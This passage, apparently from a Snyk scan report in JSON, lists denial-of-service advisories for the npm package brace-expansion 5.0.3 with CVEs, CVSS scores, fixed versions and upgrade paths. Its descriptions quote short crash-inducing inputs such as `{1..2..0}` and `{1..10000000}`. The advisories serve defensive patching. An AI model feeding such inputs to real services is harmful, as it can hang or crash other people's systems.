and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", 